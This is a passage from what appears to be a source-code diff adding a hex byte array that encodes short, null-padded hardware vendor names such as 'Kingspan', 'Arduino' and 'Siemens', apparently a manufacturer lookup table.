0x6e, 0x69, 0x63, 0x73, 0x00, +0x4b, 0x69, 0x6e, 0x67, 0x73, 0x70, 0x61, 0x6e, +0x54, 0x6f, 0x74, 0x61, 0x6c, 0x57, 0x61, 0x6c, +0x51, 0x6c, 0x6f, 0x76, 0x65, 0x4d, 0x6f, 0x62, +0x46, 0x69, 0x6c, 0x69, 0x7a, 0x6f, 0x6c, 0x61, +0x44, 0x65, 0x6e, 0x79, 0x46, 0x6f, 0x6e, 0x74, +0x47, 0x65, 0x73, 0x73, 0x6c, 0x65, 0x72, 0x00, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x78, 0x00, 0x00, +0x48, 0x6f, 0x6e, 0x65, 0x73, 0x74, 0x54, 0x65, +0x54, 0x65, 0x6c, 0x65, 0x77, 0x61, 0x76, 0x65, +0x4f, 0x70, 0x65, 0x6e, 0x53, 0x6f, 0x75, 0x72, +0x43, 0x68, 0x6f, 0x66, 0x75, 0x53, 0x65, 0x69, +0x49, 0x6d, 0x61, 0x67, 0x6f, 0x54, 0x65, 0x63, +0x42, 0x72, 0x65, 0x61, 0x74, 0x68, 0x6f, 0x6d, +0x58, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x46, 0x6f, 0x78, 0x74, 0x65, 0x6c, 0x4d, 0x61, +0x4b, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x6e, 0x50, +0x5a, 0x61, 0x6f, 0x4e, 0x70, 0x6f, 0x49, 0x6e, +0x53, 0x68, 0x69, 0x6e, 0x61, 0x53, 0x79, 0x73, +0x44, 0x69, 0x67, 0x69, 0x63, 0x6f, 0x6d, 0x46, +0x46, 0x72, 0x6f, 0x67, 0x62, 0x6c, 0x75, 0x65, +0x44, 0x72, 0x61, 0x67, 0x69, 0x6e, 0x6f, 0x54, +0x53, 0x69, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, +0x46, 0x69, 0x72, 0x69, 0x63, 0x68, 0x45, 0x6e, +0x4c, 0x69, 0x73, 0x61, 0x6e, 0x74, 0x65, 0x63, +0x50, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x6e, 0x65, +0x41, 0x75, 0x64, 0x69, 0x76, 0x6f, 0x00, 0x00, +0x31, 0x32, 0x73, 0x69, 0x64, 0x65, 0x64, 0x54, +0x41, 0x72, 0x64, 0x75, 0x69, 0x6e, 0x6f, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x76, 0x69, 0x65, +0x4a, 0x69, 0x77, 0x75, 0x6d, 0x65, 0x64, 0x69, +0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x69, 0x72, +0x4e, 0x69, 0x6d, 0x62, 0x75, 0x73, 0x39, 0x00, +0x48, 0x61, 0x6e, 0x62, 0x69, 0x74, 0x65, 0x64, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x6d, 0x00, +0x49, 0x64, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x46, 0x72, 0x65, 0x65, 0x74, 0x65, 0x6b, 0x49, +0x41, 0x76, 0x65, 0x6e, 0x74, 0x75, 0x72, 0x61, +0x5a, 0x6f, 0x6e, 0x6f, 0x66, 0x66, 0x00, 0x00, +0x42, 0x6d, 0x65, 0x79, 0x65, 0x42, 0x56, 0x00, +0x43, 0x69, 0x62, 0x6e, 0x4f, 0x72, 0x69, 0x65, +0x41, 0x72, 0x63, 0x57, 0x69, 0x72, 0x65, 0x6c, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x61, 0x64, +0x53, 0x75, 0x6e, 0x64, 0x72, 0x6f, 0x69, 0x64, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x4a, +0x41, 0x6b, 0x65, 0x72, 0x53, 0x75, 0x62, 0x73, +0x53, 0x68, 0x69, 0x6e, 0x62, 0x6f, 0x00, 0x00, +0x41, 0x69, 0x7a, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x6d, 0x6f, 0x74, 0x69, 0x6f, 0x6e, +0x54, 0x61, 0x63, 0x74, 0x69, 0x63, 0x61, 0x6c, +0x4d, 0x73, 0x66, 0x2d, 0x56, 0x61, 0x74, 0x68, +0x4c, 0x65, 0x6f, 0x6e, 0x69, 0x00, 0x00, 0x00, +0x57, 0x69, 0x7a, 0x49, 0x6f, 0x74, 0x00, 0x00, +0x48, 0x6f, 0x6e, 0x65, 0x79, 0x42, 0x65, 0x65, +0x54, 0x6d, 0x2d, 0x52, 0x65, 0x73, 0x65, 0x61, +0x52, 0x6f, 0x71, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x45, 0x61, 0x73, 0x74, 0x42, 0x65, 0x73, 0x74, +0x53, 0x61, 0x61, 0x62, 0x50, 0x75, 0x62, 0x6c, +0x43, 0x76, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x73, 0x74, 0x65, 0x63, 0x68, 0x45, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x77, 0x61, 0x72, +0x54, 0x6f, 0x70, 0x63, 0x6f, 0x6e, 0x45, 0x6c, +0x55, 0x73, 0x61, 0x31, 0x31, 0x31, 0x00, 0x00, +0x41, 0x76, 0x69, 0x72, 0x61, 0x4f, 0x70, 0x65, +0x41, 0x73, 0x63, 0x65, 0x6e, 0x73, 0x69, 0x61, +0x57, 0x79, 0x63, 0x6f, 0x6e, 0x6e, 0x00, 0x00, +0x4a, 0x75, 0x77, 0x65, 0x6c, 0x41, 0x71, 0x75, +0x49, 0x6e, 0x69, 0x6d, 0x45, 0x6c, 0x65, 0x63, +0x4d, 0x75, 0x75, 0x73, 0x65, 0x6c, 0x61, 0x62, +0x54, 0x72, 0x69, 0x74, 0x6f, 0x6e, 0x77, 0x61, +0x45, 0x6c, 0x74, 0x65, 0x78, 0x45, 0x6e, 0x74, +0x57, 0x69, 0x73, 0x65, 0x73, 0x65, 0x63, 0x4c, +0x43, 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x69, 0x64, +0x44, 0x65, 0x63, 0x4f, 0x62, 0x73, 0x6f, 0x6c, +0x44, 0x65, 0x63, 0x47, 0x6c, 0x6f, 0x62, 0x61, +0x44, 0x65, 0x63, 0x4c, 0x6f, 0x63, 0x61, 0x6c, +0x59, 0x61, 0x6d, 0x61, 0x69, 0x63, 0x68, 0x69, +0x4b, 0x61, 0x6c, 0x6f, 0x6f, 0x6d, 0x00, 0x00, +0x54, 0x69, 0x6e, 0x74, 0x72, 0x69, 0x00, 0x00, +0x55, 0x72, 0x69, 0x65, 0x6c, 0x54, 0x65, 0x63, +0x48, 0x69, 0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69, +0x52, 0x77, 0x54, 0x65, 0x63, 0x6e, 0x6f, 0x6c, +0x43, 0x6f, 0x6d, 0x73, 0x69, 0x73, 0x00, 0x00, +0x50, 0x65, 0x6c, 0x6f, 0x74, 0x6f, 0x6e, 0x49, +0x53, 0x65, 0x6e, 0x73, 0x65, 0x6c, 0x6f, 0x67, +0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x6e, 0x65, +0x4c, 0x61, 0x62, 0x6f, 0x72, 0x53, 0x52, 0x4c, +0x45, 0x6b, 0x6f, 0x6e, 0x2d, 0x4d, 0x79, 0x67, +0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x48, 0x6f, +0x41, 0x74, 0x61, 0x77, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x2d, 0x44, 0x61, 0x71, 0x00, 0x00, +0x46, 0x69, 0x62, 0x61, 0x72, 0x47, 0x72, 0x6f, +0x53, 0x75, 0x6e, 0x67, 0x72, 0x6f, 0x77, 0x50, +0x52, 0x65, 0x61, 0x6c, 0x56, 0x69, 0x73, 0x69, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x54, 0x69, 0x61, +0x44, 0x6d, 0x61, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x43, 0x73, 0x72, 0x5a, 0x68, 0x75, 0x7a, 0x68, +0x54, 0x78, 0x74, 0x72, 0x00, 0x00, 0x00, 0x00, +0x48, 0x75, 0x6d, 0x61, 0x6e, 0x6e, 0x69, 0x78, +0x53, 0x68, 0x61, 0x6e, 0x68, 0x61, 0x69, 0x47, +0x4e, 0x69, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x73, +0x43, 0x26, 0x54, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x45, 0x63, 0x6c, 0x69, 0x70, 0x73, 0x65, 0x45, +0x47, 0x65, 0x6e, 0x65, 0x6c, 0x65, 0x63, 0x00, +0x52, 0x61, 0x6c, 0x69, 0x6e, 0x77, 0x69, 0x4e, +0x53, 0x76, 0x73, 0x2d, 0x56, 0x69, 0x73, 0x74, +0x4d, 0x70, 0x69, 0x54, 0x65, 0x63, 0x68, 0x00, +0x49, 0x65, 0x65, 0x65, 0x50, 0x31, 0x38, 0x32, +0x48, 0x75, 0x6d, 0x61, 0x6e, 0x41, 0x73, 0x73, +0x4a, 0x63, 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74, +0x50, 0x61, 0x63, 0x65, 0x41, 0x6d, 0x65, 0x72, +0x55, 0x74, 0x69, 0x6c, 0x6c, 0x69, 0x6e, 0x6b, +0x44, 0x72, 0x69, 0x76, 0x76, 0x65, 0x6e, 0x00, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x63, +0x4a, 0x65, 0x6e, 0x6e, 0x79, 0x53, 0x63, 0x69, +0x45, 0x6e, 0x73, 0x70, 0x65, 0x72, 0x74, 0x00, +0x54, 0x61, 0x74, 0x75, 0x6e, 0x67, 0x54, 0x65, +0x56, 0x61, 0x6c, 0x75, 0x65, 0x70, 0x6c, 0x75, +0x4c, 0x65, 0x78, 0x6b, 0x69, 0x6e, 0x67, 0x54, +0x49, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, +0x48, 0x65, 0x78, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x49, 0x6d, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x74, +0x4f, 0x70, 0x65, 0x6e, 0x4d, 0x65, 0x73, 0x68, +0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4e, 0x65, +0x52, 0x6f, 0x67, 0x65, 0x72, 0x44, 0x57, 0x65, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x72, 0x6f, 0x76, +0x4c, 0x61, 0x6e, 0x74, 0x69, 0x71, 0x44, 0x65, +0x53, 0x6d, 0x61, 0x6b, 0x54, 0x65, 0x63, 0x6e, +0x42, 0x61, 0x79, 0x63, 0x69, 0x74, 0x79, 0x54, +0x54, 0x72, 0x65, 0x6b, 0x73, 0x74, 0x6f, 0x72, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x65, 0x6e, 0x67, +0x4c, 0x79, 0x6e, 0x67, 0x73, 0x6f, 0x4d, 0x61, +0x41, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x65, 0x6b, +0x55, 0x6e, 0x69, 0x62, 0x61, 0x6e, 0x64, 0x45, +0x49, 0x6d, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, +0x55, 0x66, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x63, +0x56, 0x69, 0x73, 0x75, 0x61, 0x6c, 0x65, 0x64, +0x43, 0x6c, 0x74, 0x49, 0x6e, 0x74, 0x4c, 0x49, +0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x50, 0x61, +0x47, 0x72, 0x61, 0x70, 0x68, 0x69, 0x74, 0x65, +0x4b, 0x6f, 0x68, 0x7a, 0x75, 0x50, 0x72, 0x65, +0x56, 0x69, 0x74, 0x73, 0x6d, 0x6f, 0x00, 0x00, +0x4e, 0x65, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x6c, 0x64, 0x75, 0x73, 0x54, +0x4f, 0x64, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x45, +0x4d, 0x69, 0x64, 0x6f, 0x6b, 0x75, 0x72, 0x61, +0x48, 0x65, 0x66, 0x63, 0x6f, 0x6d, 0x4d, 0x65, +0x48, 0x77, 0x61, 0x59, 0x61, 0x6f, 0x54, 0x65, +0x48, 0x69, 0x2d, 0x46, 0x6c, 0x79, 0x69, 0x6e, +0x43, 0x72, 0x65, 0x78, 0x65, 0x6e, 0x64, 0x6f, +0x41, 0x62, 0x62, 0x41, 0x62, 0x62, 0x53, 0x61, +0x53, 0x68, 0x61, 0x61, 0x6e, 0x78, 0x69, 0x47, +0x54, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x63, 0x74, 0x65, 0x72, 0x47, +0x49, 0x73, 0x61, 0x61, 0x63, 0x49, 0x6e, 0x73, +0x4d, 0x61, 0x64, 0x67, 0x65, 0x74, 0x65, 0x63, +0x53, 0x6b, 0x48, 0x79, 0x6e, 0x69, 0x78, 0x00, +0x44, 0x6f, 0x70, 0x70, 0x6c, 0x65, 0x72, 0x4c, +0x42, 0x79, 0x74, 0x65, 0x6d, 0x61, 0x72, 0x6b, +0x49, 0x6f, 0x74, 0x54, 0x65, 0x63, 0x68, 0x00, +0x48, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x65, 0x6e, 0x69, 0x78, 0x49, 0x6e, 0x66, +0x36, 0x68, 0x61, 0x72, 0x6d, 0x6f, 0x6e, 0x69, +0x42, 0x65, 0x63, 0x6b, 0x65, 0x72, 0x45, 0x6c, +0x45, 0x6c, 0x65, 0x73, 0x79, 0x73, 0x00, 0x00, +0x56, 0x69, 0x74, 0x61, 0x6c, 0x43, 0x6f, 0x6e, +0x41, 0x76, 0x69, 0x7a, 0x69, 0x61, 0x00, 0x00, +0x52, 0x69, 0x6e, 0x67, 0x53, 0x6f, 0x6c, 0x75, +0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x73, +0x46, 0x75, 0x74, 0x61, 0x62, 0x61, 0x2d, 0x4b, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x73, 0x70, 0x65, +0x45, 0x64, 0x69, 0x73, 0x6f, 0x6e, 0x47, 0x6c, +0x4f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x41, 0x53, +0x4c, 0x65, 0x53, 0x68, 0x69, 0x5a, 0x68, 0x69, +0x45, 0x6c, 0x69, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x48, 0x65, 0x6c, 0x76, 0x65, 0x74, 0x69, 0x61, +0x50, 0x72, 0x6f, 0x67, 0x65, 0x6e, 0x79, 0x00, +0x4d, 0x6f, 0x62, 0x69, 0x77, 0x69, 0x72, 0x65, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x77, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x56, 0x61, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x64, 0x69, 0x61, +0x53, 0x65, 0x6e, 0x69, 0x65, 0x6e, 0x74, 0x00, +0x49, 0x74, 0x74, 0x69, 0x6d, 0x54, 0x65, 0x63, +0x4e, 0x75, 0x6c, 0x65, 0x64, 0x73, 0x00, 0x00, +0x4d, 0x69, 0x72, 0x61, 0x46, 0x69, 0x74, 0x6e, +0x59, 0x61, 0x63, 0x6f, 0x75, 0x62, 0x41, 0x75, +0x50, 0x74, 0x48, 0x61, 0x6e, 0x53, 0x75, 0x6e, +0x48, 0x6f, 0x6c, 0x6c, 0x54, 0x65, 0x63, 0x68, +0x56, 0x61, 0x6c, 0x6c, 0x6f, 0x78, 0x4f, 0x79, +0x42, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x57, 0x69, +0x44, 0x65, 0x69, 0x53, 0x61, 0x6c, 0x65, 0x73, +0x33, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x44, 0x69, +0x51, 0x61, 0x43, 0x61, 0x66, 0x65, 0x00, 0x00, +0x57, 0x69, 0x2d, 0x4e, 0x65, 0x78, 0x74, 0x00, +0x43, 0x75, 0x6d, 0x6d, 0x69, 0x6e, 0x67, 0x73, +0x52, 0x65, 0x76, 0x6f, 0x6c, 0x76, 0x00, 0x00, +0x44, 0x69, 0x70, 0x6c, 0x2d, 0x49, 0x6e, 0x67, +0x5a, 0x61, 0x64, 0x61, 0x72, 0x61, 0x53, 0x74, +0x4c, 0x61, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x67, +0x49, 0x2d, 0x53, 0x79, 0x73, 0x00, 0x00, 0x00, +0x43, 0x68, 0x6c, 0x6f, 0x72, 0x69, 0x64, 0x65, +0x53, 0x74, 0x72, 0x61, 0x74, 0x61, 0x57, 0x6f, +0x5a, 0x79, 0x70, 0x74, 0x6f, 0x6e, 0x69, 0x74, +0x55, 0x72, 0x61, 0x64, 0x69, 0x6f, 0x00, 0x00, +0x46, 0x75, 0x6c, 0x61, 0x6e, 0x45, 0x6c, 0x65, +0x54, 0x61, 0x6c, 0x65, 0x6f, 0x00, 0x00, 0x00, +0x49, 0x73, 0x69, 0x73, 0x49, 0x6d, 0x61, 0x67, +0x4c, 0x61, 0x6e, 0x62, 0x6f, 0x77, 0x61, 0x6e, +0x45, 0x2d, 0x46, 0x75, 0x65, 0x6c, 0x00, 0x00, +0x4c, 0x67, 0x43, 0x6e, 0x73, 0x00, 0x00, 0x00, +0x53, 0x74, 0x65, 0x6d, 0x6d, 0x65, 0x72, 0x49, +0x47, 0x6e, 0x68, 0x53, 0x6f, 0x66, 0x74, 0x77, +0x50, 0x69, 0x76, 0x6f, 0x74, 0x61, 0x6c, 0x00, +0x51, 0x69, 0x6e, 0x67, 0x44, 0x61, 0x6f, 0x48, +0x53, 0x6c, 0x69, 0x63, 0x61, 0x6e, 0x53, 0x70, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x4e, +0x45, 0x63, 0x68, 0x6f, 0x73, 0x74, 0x72, 0x65, +0x5a, 0x61, 0x6b, 0x6c, 0x61, 0x64, 0x45, 0x6c, +0x57, 0x69, 0x7a, 0x69, 0x74, 0x64, 0x6f, 0x6e, +0x41, 0x64, 0x6c, 0x65, 0x72, 0x45, 0x6c, 0x72, +0x42, 0x69, 0x6f, 0x6e, 0x69, 0x6d, 0x65, 0x00, +0x53, 0x65, 0x6e, 0x73, 0x65, 0x69, 0x74, 0x00, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x43, +0x50, 0x65, 0x6f, 0x70, 0x6c, 0x65, 0x50, 0x6f, +0x4d, 0x69, 0x2d, 0x5a, 0x6f, 0x6e, 0x65, 0x54, +0x56, 0x65, 0x6c, 0x6c, 0x6f, 0x00, 0x00, 0x00, +0x4c, 0x6f, 0x67, 0x69, 0x70, 0x69, 0x78, 0x00, +0x54, 0x72, 0x69, 0x64, 0x6f, 0x6e, 0x69, 0x63, +0x43, 0x65, 0x72, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x61, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, +0x4e, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x6d, 0x78, 0x53, 0x61, 0x73, 0x00, 0x00, +0x46, 0x65, 0x6e, 0x67, 0x66, 0x61, 0x6e, 0x42, +0x44, 0x68, 0x65, 0x6d, 0x61, 0x78, 0x49, 0x6e, +0x43, 0x61, 0x62, 0x6c, 0x65, 0x77, 0x6f, 0x72, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x63, 0x68, 0x69, +0x53, 0x70, 0x42, 0x65, 0x73, 0x74, 0x00, 0x00, +0x54, 0x63, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x44, 0x65, 0x78, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x42, 0x72, 0x75, 0x73, 0x61, 0x45, 0x6c, 0x65, +0x48, 0x65, 0x72, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x4c, 0x67, 0x2d, 0x45, 0x72, 0x69, 0x63, 0x73, +0x44, 0x74, 0x69, 0x47, 0x72, 0x6f, 0x75, 0x70, +0x44, 0x6f, 0x67, 0x48, 0x75, 0x6e, 0x74, 0x65, +0x43, 0x6f, 0x64, 0x65, 0x74, 0x65, 0x6b, 0x54, +0x45, 0x2d, 0x50, 0x72, 0x69, 0x6d, 0x65, 0x00, +0x4f, 0x72, 0x62, 0x69, 0x74, 0x4d, 0x65, 0x72, +0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x50, 0x61, +0x45, 0x6c, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x63, +0x59, 0x6f, 0x72, 0x6b, 0x49, 0x6e, 0x73, 0x74, +0x41, 0x76, 0x69, 0x77, 0x65, 0x73, 0x74, 0x00, +0x4d, 0x61, 0x74, 0x73, 0x75, 0x6e, 0x69, 0x63, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x54, 0x69, +0x46, 0x69, 0x62, 0x6f, 0x63, 0x6f, 0x6d, 0x57, +0x4b, 0x62, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x43, 0x6f, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x00, +0x50, 0x65, 0x6e, 0x47, 0x65, 0x6e, 0x65, 0x72, +0x44, 0x65, 0x67, 0x72, 0x65, 0x61, 0x6e, 0x65, +0x56, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x77, 0x61, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x6c, 0x69, 0x6e, +0x4e, 0x72, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x4e, 0x62, 0x53, 0x6f, 0x66, 0x74, 0x77, 0x61, +0x42, 0x6f, 0x72, 0x65, 0x61, 0x00, 0x00, 0x00, +0x54, 0x65, 0x72, 0x61, 0x73, 0x70, 0x65, 0x6b, +0x43, 0x72, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x4c, +0x54, 0x68, 0x69, 0x6e, 0x67, 0x2d, 0x54, 0x61, +0x4c, 0x75, 0x6d, 0x69, 0x67, 0x6f, 0x6e, 0x00, +0x45, 0x78, 0x61, 0x62, 0x6c, 0x6f, 0x78, 0x00, +0x45, 0x6c, 0x79, 0x73, 0x69, 0x61, 0x47, 0x65, +0x5a, 0x65, 0x61, 0x6c, 0x61, 0x62, 0x73, 0x53, +0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x53, 0x65, +0x43, 0x6f, 0x72, 0x65, 0x6f, 0x73, 0x00, 0x00, +0x46, 0x6f, 0x72, 0x65, 0x73, 0x69, 0x67, 0x68, +0x4d, 0x65, 0x74, 0x61, 0x2d, 0x4e, 0x65, 0x74, +0x41, 0x6b, 0x67, 0x41, 0x63, 0x6f, 0x75, 0x73, +0x52, 0x65, 0x6c, 0x61, 0x79, 0x32, 0x00, 0x00, +0x41, 0x6d, 0x70, 0x74, 0x6f, 0x77, 0x6e, 0x53, +0x43, 0x6f, 0x73, 0x74, 0x65, 0x72, 0x54, 0x45, +0x57, 0x65, 0x74, 0x65, 0x6c, 0x65, 0x63, 0x6f, +0x49, 0x6d, 0x61, 0x67, 0x69, 0x6b, 0x49, 0x6e, +0x5a, 0x65, 0x6e, 0x45, 0x79, 0x65, 0x00, 0x00, +0x4d, 0x6f, 0x64, 0x69, 0x00, 0x00, 0x00, 0x00, +0x48, 0x69, 0x73, 0x74, 0x61, 0x72, 0x44, 0x69, +0x47, 0x68, 0x69, 0x61, 0x54, 0x65, 0x63, 0x68, +0x45, 0x6e, 0x73, 0x65, 0x71, 0x75, 0x65, 0x6e, +0x4d, 0x74, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x69, 0x72, 0x63, 0x6c, 0x65, 0x52, 0x65, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x45, +0x44, 0x61, 0x65, 0x68, 0x6f, 0x49, 0x26, 0x54, +0x48, 0x75, 0x62, 0x62, 0x65, 0x6c, 0x6c, 0x50, +0x4d, 0x69, 0x6e, 0x73, 0x75, 0x6e, 0x67, 0x45, +0x54, 0x68, 0x75, 0x68, 0x00, 0x00, 0x00, 0x00, +0x59, 0x69, 0x43, 0x68, 0x69, 0x70, 0x4d, 0x69, +0x56, 0x78, 0x6c, 0x45, 0x74, 0x65, 0x63, 0x68, +0x41, 0x78, 0x69, 0x6c, 0x73, 0x70, 0x6f, 0x74, +0x55, 0x6d, 0x70, 0x69, 0x45, 0x6c, 0x65, 0x74, +0x50, 0x72, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x69, 0x73, 0x74, +0x43, 0x61, 0x6c, 0x64, 0x65, 0x72, 0x6f, 0x00, +0x42, 0x65, 0x74, 0x74, 0x65, 0x72, 0x62, 0x6f, +0x49, 0x6f, 0x74, 0x61, 0x43, 0x6f, 0x6d, 0x70, +0x43, 0x68, 0x72, 0x6f, 0x6d, 0x6c, 0x65, 0x63, +0x4c, 0x69, 0x74, 0x65, 0x6d, 0x61, 0x78, 0x45, +0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, 0x74, 0x69, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x2d, 0x49, +0x56, 0x69, 0x76, 0x61, 0x6c, 0x6e, 0x6b, 0x00, +0x50, 0x6f, 0x72, 0x74, 0x00, 0x00, 0x00, 0x00, +0x50, 0x69, 0x65, 0x44, 0x69, 0x67, 0x69, 0x74, +0x57, 0x6f, 0x68, 0x6c, 0x65, 0x72, 0x54, 0x65, +0x44, 0x61, 0x69, 0x68, 0x61, 0x6e, 0x53, 0x63, +0x50, 0x65, 0x74, 0x61, 0x74, 0x65, 0x6c, 0x00, +0x4b, 0x69, 0x6e, 0x6f, 0x76, 0x61, 0x00, 0x00, +0x53, 0x65, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x53, 0x69, +0x48, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x42, 0x61, 0x79, 0x61, 0x6e, 0x41, 0x75, 0x64, +0x52, 0x6f, 0x70, 0x65, 0x78, 0x49, 0x6e, 0x64, +0x54, 0x72, 0x61, 0x63, 0x65, 0x4c, 0x69, 0x76, +0x4b, 0x65, 0x65, 0x6e, 0x48, 0x69, 0x67, 0x68, +0x4e, 0x65, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x53, 0x77, 0x65, 0x64, 0x61, 0x49, 0x6e, 0x66, +0x53, 0x6f, 0x79, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x52, 0x61, 0x73, 0x70, 0x62, 0x65, 0x72, 0x72, +0x42, 0x6c, 0x61, 0x73, 0x74, 0x65, 0x72, 0x54, +0x45, 0x66, 0x72, 0x45, 0x75, 0x72, 0x6f, 0x70, +0x52, 0x6f, 0x61, 0x64, 0x2d, 0x54, 0x72, 0x61, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x73, 0x77, 0x69, +0x4b, 0x79, 0x6f, 0x6b, 0x6b, 0x6f, 0x54, 0x73, +0x57, 0x6f, 0x72, 0x6c, 0x64, 0x70, 0x6c, 0x61, +0x56, 0x6c, 0x61, 0x74, 0x61, 0x63, 0x6f, 0x6d, +0x53, 0x61, 0x6e, 0x6a, 0x65, 0x74, 0x54, 0x65, +0x49, 0x74, 0x74, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x4e, 0x75, 0x6d, 0x65, 0x72, 0x61, 0x00, 0x00, +0x4f, 0x75, 0x79, 0x61, 0x00, 0x00, 0x00, 0x00, +0x48, 0x61, 0x6e, 0x64, 0x61, 0x65, 0x72, 0x43, +0x4f, 0x6e, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, +0x52, 0x6f, 0x62, 0x6f, 0x74, 0x69, 0x73, 0x00, +0x43, 0x6b, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, +0x42, 0x6f, 0x6c, 0x79, 0x6d, 0x69, 0x6e, 0x00, +0x56, 0x69, 0x65, 0x73, 0x73, 0x6d, 0x61, 0x6e, +0x50, 0x61, 0x79, 0x70, 0x61, 0x6c, 0x00, 0x00, +0x4d, 0x65, 0x74, 0x65, 0x72, 0x47, 0x72, 0x6f, +0x47, 0x6f, 0x6f, 0x64, 0x4d, 0x69, 0x6e, 0x64, +0x53, 0x74, 0x65, 0x70, 0x41, 0x68, 0x65, 0x61, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x49, +0x49, 0x6c, 0x6a, 0x69, 0x6e, 0x45, 0x6c, 0x65, +0x53, 0x74, 0x61, 0x74, 0x65, 0x6c, 0x65, 0x73, +0x5a, 0x65, 0x6e, 0x63, 0x68, 0x65, 0x65, 0x72, +0x41, 0x6e, 0x61, 0x6c, 0x79, 0x74, 0x69, 0x63, +0x42, 0x67, 0x54, 0x26, 0x41, 0x00, 0x00, 0x00, +0x52, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x49, 0x6e, +0x41, 0x6c, 0x6c, 0x64, 0x73, 0x70, 0x00, 0x00, +0x41, 0x74, 0x6c, 0x6f, 0x6e, 0x61, 0x00, 0x00, +0x37, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x53, +0x43, 0x6f, 0x68, 0x65, 0x72, 0x65, 0x54, 0x65, +0x45, 0x6c, 0x69, 0x74, 0x65, 0x4f, 0x70, 0x74, +0x4f, 0x63, 